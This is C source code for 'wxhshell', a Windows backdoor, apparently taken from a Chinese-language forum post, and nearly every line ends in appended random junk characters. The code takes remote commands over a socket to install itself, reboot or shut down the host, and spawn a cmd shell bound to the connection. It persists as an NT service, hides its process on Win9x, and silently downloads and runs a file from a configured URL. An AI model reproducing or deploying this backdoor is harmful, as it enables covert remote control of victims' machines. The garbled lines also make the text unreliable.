  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &F$:Q:* *  
  } g+8hp@a  
  else { 1n*W2:,z  
~`#-d ^s:  
    switch(cmd[0]) { OK|qv[  
  " K*  
  // 帮助 ?/*~;fM  
  case '?': { -C7]qbT }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zW |=2oX2  
    break; >k7q g$  
  } E .6HpIx  
  // 安装 4A`NJ  
  case 'i': { -|yb[~3  
    if(Install()) xvLn'8H.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wmr-}Y!9u%  
    else u0`o A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N6oq90G  
    break; _A_ A$N~9  
    } h:\oly\  
  // 卸载 gieJ}Bv  
  case 'r': { Ft JjY@#  
    if(Uninstall()) M&Y .;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ITuq/qts]A  
    else cF T 9Lnz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {4 >mc'dv  
    break; bEuaOBc  
    } R! s6% :Yg  
  // 显示 wxhshell 所在路径 oSb, :^Wl  
  case 'p': { >n5:1.g  
    char svExeFile[MAX_PATH]; xom<P+M!|  
    strcpy(svExeFile,"\n\r"); {1 J&xoV"  
      strcat(svExeFile,ExeFile); a)-FG P^  
        send(wsh,svExeFile,strlen(svExeFile),0); w>?Un,K  
    break; _cDF{E+;  
    } _+f+`]iM  
  // 重启 D]! aT+  
  case 'b': { %Tn#-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N^?9ZO   
    if(Boot(REBOOT)) Wk;5/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f,i5iSYf  
    else { Zc& &[g  
    closesocket(wsh); >:sUL<p  
    ExitThread(0); tS# `.F~y  
    } 5 +9 Ze9  
    break; :bU(S<%M  
    } Ac k}QzXO  
  // 关机 f5RE9%.#~  
  case 'd': { u?+bW-D'd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Wa/g`}  
    if(Boot(SHUTDOWN)) 3M*Bwt;F_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }w-wSkl1  
    else { 4_M>OD/"  
    closesocket(wsh); $9 p!Y}  
    ExitThread(0); &(rWwOo6  
    } ri~<~oB 2:  
    break; 1r[@(c0  
    } )QKf7 [:  
  // 获取shell {C*\O)Gep  
  case 's': { u9-nt}hGYM  
    CmdShell(wsh); 6&v? )o  
    closesocket(wsh); }`_@'4:t  
    ExitThread(0); 0O!cN_l|  
    break; iyx>q!P  
  } o(A|)c4k  
  // 退出 ;bu#8,  
  case 'x': { T0HuqJty  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W\*-xf|"d  
    CloseIt(wsh); sE(HZR1  
    break; 8Ad606  
    } %6j)=IOts  
  // 离开 Q<tu)Qo  
  case 'q': { 4NEq$t$Jn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9e!NOl\_;.  
    closesocket(wsh); 5@osnf?  
    WSACleanup(); {WN(&eax  
    exit(1); [ANuBNF  
    break; 46jh-4) <  
        } RH)EB<PV  
  } s3s4OAY  
  } hi =XYC,  
;_kzcK!l  
  // 提示信息 &UHPX?x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _=6 rE  
} +WJ(QZEhD  
  } HYr}wG  
UO`;&e-DB  
  return; AtS;IRN@  
} %rQuBi# 1f  
`\>.h  
// shell模块句柄 $Byj}^;1  
int CmdShell(SOCKET sock) iSRpfU  
{ yKagT$-  
STARTUPINFO si; =?0lA_ 0  
ZeroMemory(&si,sizeof(si)); $L4/I!Yf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B=L&bx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j '%4{n  
PROCESS_INFORMATION ProcessInfo; iItcN;;7  
char cmdline[]="cmd"; q*jNH\|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c{ZY,C&<  
  return 0; BI[JATZG  
} ~i'Nqe_  
;Z[]{SQ  
// 自身启动模式 V5}nOGV9  
int StartFromService(void) YEu1#N  
{ /{2*WI;  
typedef struct t5k!W7C  
{ %3;Fgky  
  DWORD ExitStatus; !4"sX+z9  
  DWORD PebBaseAddress; fpyz'   
  DWORD AffinityMask; XK(`mEi  
  DWORD BasePriority; +KGZ HO!  
  ULONG UniqueProcessId; =]R3& ]#n  
  ULONG InheritedFromUniqueProcessId; wbyE;W  
}   PROCESS_BASIC_INFORMATION; '&O/g<Z}q  
^(}585b  
PROCNTQSIP NtQueryInformationProcess; @*N )i?>  
]Hj<IvG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9ch#}/7B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z[!d*O%R_  
Ey{%XR+*;  
  HANDLE             hProcess;  1iT\df  
  PROCESS_BASIC_INFORMATION pbi; 23(=Xp3;>  
73A)lU.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iJFs0?*  
  if(NULL == hInst ) return 0; .ujT!{>v/  
yj6@7@l>A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rI$`9d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TZir>5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^62|d  
&}mw'_ I  
  if (!NtQueryInformationProcess) return 0; (oK^c- x  
iyZZ}M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ylf[/='0K  
  if(!hProcess) return 0; cR-~)UyrO  
nq} Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `7aDEzmJ  
C9n}6Er=,  
  CloseHandle(hProcess); jt~Qu-  
5pNY)>]t=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '+'CbWgY  
if(hProcess==NULL) return 0; <<9Va.  
! ueN|8'  
HMODULE hMod; I[MgIr^  
char procName[255]; h 6G/O`:  
unsigned long cbNeeded; >>[/UFC)n  
ln*icaDqf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~s Qjl]  
?zJpD8e  
  CloseHandle(hProcess); /5AW?2)  
#0I{.Wy]  
if(strstr(procName,"services")) return 1; // 以服务启动 |4)  
>4m'tZ8  
  return 0; // 注册表启动 -37a.  
} a^qNJ?R !  
;cQW sTfT  
// 主模块 _,Fny_u=;  
int StartWxhshell(LPSTR lpCmdLine) _fFU#k:MU  
{ 7x]4`#u  
  SOCKET wsl; Sydh2d  
BOOL val=TRUE; ,7Y-k'7Kop  
  int port=0; a~h:qpg c  
  struct sockaddr_in door; bo"%0 ?3n  
5\mTr)\R  
  if(wscfg.ws_autoins) Install(); 1:C:?ZC#c  
n6WY&1ZE~  
port=atoi(lpCmdLine); 3OyS8`  
LL^q1)o  
if(port<=0) port=wscfg.ws_port; P=N$qz$U  
$FH18  
  WSADATA data; r90+,aLM#?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n>,L=wV  
'PZ|:9FX!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    9DQ)cy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TjWE_Bq]g  
  door.sin_family = AF_INET; DVZdClAL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >!e<}84b  
  door.sin_port = htons(port); c97{Pu  
uaw~r2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]e:/"   
closesocket(wsl); e;bYaM4 UX  
return 1; Mpue   
} ;?fS(Vz~  
.@)mxC:\K9  
  if(listen(wsl,2) == INVALID_SOCKET) { lA!"z~03*  
closesocket(wsl); 5cr(S~Q;  
return 1; &hHW3Q(1  
} t22;87&|  
  Wxhshell(wsl); I:&/`K4,x,  
  WSACleanup(); snM Z0W  
P;ZU-G4@   
return 0; QB!~Wh  
m8Vdb"0  
} sRVIH A ,  
C-eA8pYY/  
// 以NT服务方式启动 -Ue$T{;RoH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \mM<\-'p  
{ |rw%FM{F  
DWORD   status = 0; Jo(`zuLJ  
  DWORD   specificError = 0xfffffff; 0X8t>#uF  
Eh</? Qv\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s>_V   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A$0H .F>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j!~l,::$"X  
  serviceStatus.dwWin32ExitCode     = 0; Kyt)2p  
  serviceStatus.dwServiceSpecificExitCode = 0; 'XQ`g CF=  
  serviceStatus.dwCheckPoint       = 0; <oKGD50#  
  serviceStatus.dwWaitHint       = 0; l} ^3fQXI  
Kemw^48ts  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i!2TH~zl  
  if (hServiceStatusHandle==0) return; ]G.%Ty  
',3HlOJ:  
status = GetLastError(); gwrYLZNGI  
  if (status!=NO_ERROR) p;)"  
{ %)jxW{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rVvR!"//yH  
    serviceStatus.dwCheckPoint       = 0; 5 hj  
    serviceStatus.dwWaitHint       = 0; VpfUm?Nq  
    serviceStatus.dwWin32ExitCode     = status; [u@Jc,  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z 2}ah  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ft=zzoVKg  
    return; Q'l^9Bz  
  } zepop19  
@}_WE,r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [AH6~-\x  
  serviceStatus.dwCheckPoint       = 0; Sgim3):Z  
  serviceStatus.dwWaitHint       = 0; C`=p +2I]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r;9 r!$d  
} 7*Qk`*Ii  
.LVQx  
// 处理NT服务事件,比如:启动、停止 Ng><n}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wS+V]`b  
{ <H3ezv1M  
switch(fdwControl) q/3ziVd7p  
{ T lAR.cV  
case SERVICE_CONTROL_STOP: H>Q%"|  
  serviceStatus.dwWin32ExitCode = 0; &*G<a3 Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^L1L=c;,  
  serviceStatus.dwCheckPoint   = 0; D.D$#O_n.S  
  serviceStatus.dwWaitHint     = 0; WH ?}~u9  
  { 'ckQg=zPR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,y4I[[  
  } ZN"j%E{d  
  return; LZPuDf~/  
case SERVICE_CONTROL_PAUSE: a8u 9aEB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J]W5[)L  
  break; <9ig?{'  
case SERVICE_CONTROL_CONTINUE: CO-_ea U(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U~{du;\  
  break; nKR{ug>I)  
case SERVICE_CONTROL_INTERROGATE: ?oZR.D|SZ  
  break; qbrpP(.  
}; WPZ?*Sx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (npj_s!.C)  
} 5tJ,7Y'  
kP#e((f,  
// 标准应用程序主函数 Z nFi<@UB)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }nt* [:%  
{ wIkN9 f  
}(a+aHH  
// 获取操作系统版本 O/:UJ( e{  
OsIsNt=GetOsVer(); `&0Wv0D0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]v[|B  
T|&[7%F3"  
  // 从命令行安装 PFUO8>!pA\  
  if(strpbrk(lpCmdLine,"iI")) Install(); }:: S 0l  
MT(o"ltQ  
  // 下载执行文件 5<I   
if(wscfg.ws_downexe) { _X ~87  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 86@c't@  
  WinExec(wscfg.ws_filenam,SW_HIDE); U$oduY#  
} \ w3]5gJZ  
%B.D^]S1:  
if(!OsIsNt) { nEzf.[+9/  
// 如果时win9x,隐藏进程并且设置为注册表启动  mw_Ew]&  
HideProc(); *5bLe'^\|K  
StartWxhshell(lpCmdLine); Y_`-9'&  
} |6G m:jV  
else +q6ydb,  
  if(StartFromService()) imQUR C  
  // 以服务方式启动 }QZQ3@  
  StartServiceCtrlDispatcher(DispatchTable); /iG*)6*^k  
else Pxn,Qw*  
  // 普通方式启动 P"sA  
  StartWxhshell(lpCmdLine); p=/m  
f7Ul(D:j\  
return 0; q&C""!h^  
}
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只看该作者 1 发表于: 2006-10-10
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